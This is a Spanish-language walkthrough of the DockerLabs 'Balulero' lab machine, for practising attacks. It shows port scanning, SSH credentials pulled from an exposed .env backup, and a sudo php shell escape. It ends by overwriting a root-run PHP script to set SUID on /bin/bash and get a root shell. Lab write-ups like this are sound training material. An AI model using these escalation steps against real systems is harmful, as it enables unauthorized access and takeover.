Balulero DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip balulero.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh balulero.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 09:51 EST
Nmap scan report for 172.17.0.2
Host is up (0.000026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:64:7a:a5:1f:d3:f2:73:9c:8d:54:8b:65:67:3b:11 (RSA)
|   256 47:e1:c1:f2:de:f5:80:0e:10:96:04:95:c2:80:8b:76 (ECDSA)
|_  256 b1:c6:a8:5e:40:e0:ef:92:b2:e8:6f:f3:ad:9e:41:5a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mi Landing Page - Ciberseguridad
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds

Si entramos en la pagina vemos una pagina normal, pero si inspeccionamos el codigo podremos ver lo siguiente:

Escalate user balu

<script src="script.js"></script>

Si nos metemos dentro del script.js podremos ver lo siguiente:

// Funcionalidad para ocultar/mostrar el header al hacer scroll y el secretito de la web
    console.log("Se ha prohibido el acceso al archivo .env, que es donde se guarda la password de backup, pero hay una copia llamada .env_de_baluchingon visible jiji")
    let lastScrollTop = 0;
    const header = document.querySelector('header');
    const delta = 5; // La cantidad mínima de scroll para ocultar el header

Vemos que nos comenta que hay una copia de seguridad en la siguiente ruta del siguiente archivo llamado .env_de_baluchingon.

URL = http://<IP>/.env_de_baluchingon

Si nos metemos veremos lo siguiente:

RECOVERY LOGIN

balu:balubalulerobalulei

Vemos lo que parece ser una credenciales, por lo que nos conectaremos mediante ssh.

SSH

ssh balu@<IP>

Metemos como contraseña balubalulerobalulei y veremos que estamos dentro.

Escalate user chocolate

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for balu on 594b36b05c3c:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User balu may run the following commands on 594b36b05c3c:
    (chocolate) NOPASSWD: /usr/bin/php

Vemos que podemos ejecutar el binario php como el usuario chocolate, por lo que haremos lo siguiente:

CMD="/bin/bash"
sudo -u chocolate php -r "system('$CMD');"

Y con esto seremos el usuario chocolate.

Escalate Privileges

Si analizamos los procesos del sistema, veremos lo siguiente:

ps -aux

Info:

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   2616  1548 ?        Ss   14:51   0:00 /bin/sh -c service apache2 start && a2ensite 000-default.conf && service ssh start && while true; do php /opt/script.php; sleep 5; done
root          25  0.0  0.5 201396 22820 ?        Ss   14:51   0:00 /usr/sbin/apache2 -k start
www-data      30  0.0  0.2 201716 12728 ?        S    14:51   0:00 /usr/sbin/apache2 -k start
www-data      31  0.0  0.2 201716 12656 ?        S    14:51   0:00 /usr/sbin/apache2 -k start
www-data      33  0.0  0.2 201708 12592 ?        S    14:51   0:00 /usr/sbin/apache2 -k start
www-data      34  0.0  0.2 201852 12720 ?        S    14:51   0:00 /usr/sbin/apache2 -k start
root          49  0.0  0.0  12196  4148 ?        Ss   14:51   0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
www-data      77  0.0  0.2 201676 11920 ?        S    14:52   0:00 /usr/sbin/apache2 -k start
www-data      78  0.0  0.2 201676 11884 ?        S    14:52   0:00 /usr/sbin/apache2 -k start
www-data      80  0.0  0.2 201700 12620 ?        S    14:52   0:00 /usr/sbin/apache2 -k start
www-data      81  0.0  0.2 201660 11884 ?        S    14:52   0:00 /usr/sbin/apache2 -k start
www-data      82  0.0  0.2 201660 11884 ?        S    14:52   0:00 /usr/sbin/apache2 -k start
www-data      83  0.0  0.2 201660 11920 ?        S    14:52   0:00 /usr/sbin/apache2 -k start
root         202  0.0  0.1  13164  8388 ?        Ss   14:56   0:00 sshd: balu [priv]
balu         215  0.0  0.1  13404  6144 ?        S    14:56   0:00 sshd: balu@pts/0
balu         216  0.0  0.0   6000  3872 pts/0    Ss   14:56   0:00 -bash
root         258  0.0  0.1   7496  4308 pts/0    S    14:58   0:00 sudo -u chocolate php -r system('/bin/bash');
chocola+     259  0.0  0.4  67256 20356 pts/0    S    14:58   0:00 php -r system('/bin/bash');
chocola+     260  0.0  0.0   2616  1484 pts/0    S    14:58   0:00 sh -c /bin/bash
chocola+     261  0.0  0.0   6000  3772 pts/0    S    14:58   0:00 /bin/bash
root         290  0.0  0.0   2516  1276 ?        S    14:59   0:00 sleep 5
chocola+     291  0.0  0.0   7892  3520 pts/0    R+   14:59   0:00 ps -aux

Vemos que root esta ejecutando la siguiente linea:

 do php /opt/script.php; sleep 5; done

Por lo que vemos esta ejecutando un script.php en la carpeta /opt.

ls -la /opt/script.php

Info:

-rw-r--r-- 1 chocolate chocolate   59 May  7  2024 script.php

Vemos que podremos editarlo, por lo que haremos lo siguiente:

script.php

<?php
// Ejecuta el comando
$output = shell_exec('chmod u+s /bin/bash 2>&1');

// Muestra el resultado
if ($output === null) {
    echo "Permisos modificados correctamente.\n";
} else {
    echo "Error: " . $output . "\n";
}
?>
echo '<?php echo shell_exec("chmod u+s /bin/bash 2>&1") ?? "Permisos modificados correctamente.\n"; ?>' > /opt/script.php

Lo guardamos y esperamos unos 5 segundos para que se ejecute, cuando se ejecute veremos si ha funcionado.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Vemos que ha funcionado ya que ahora la bash tiene el SUID establecido, por lo que haremos lo siguiente:

bash -p

Info:

bash-5.0# whoami
root

Y con esto ya seremos root, por lo que habremos terminado la maquina.

Last updated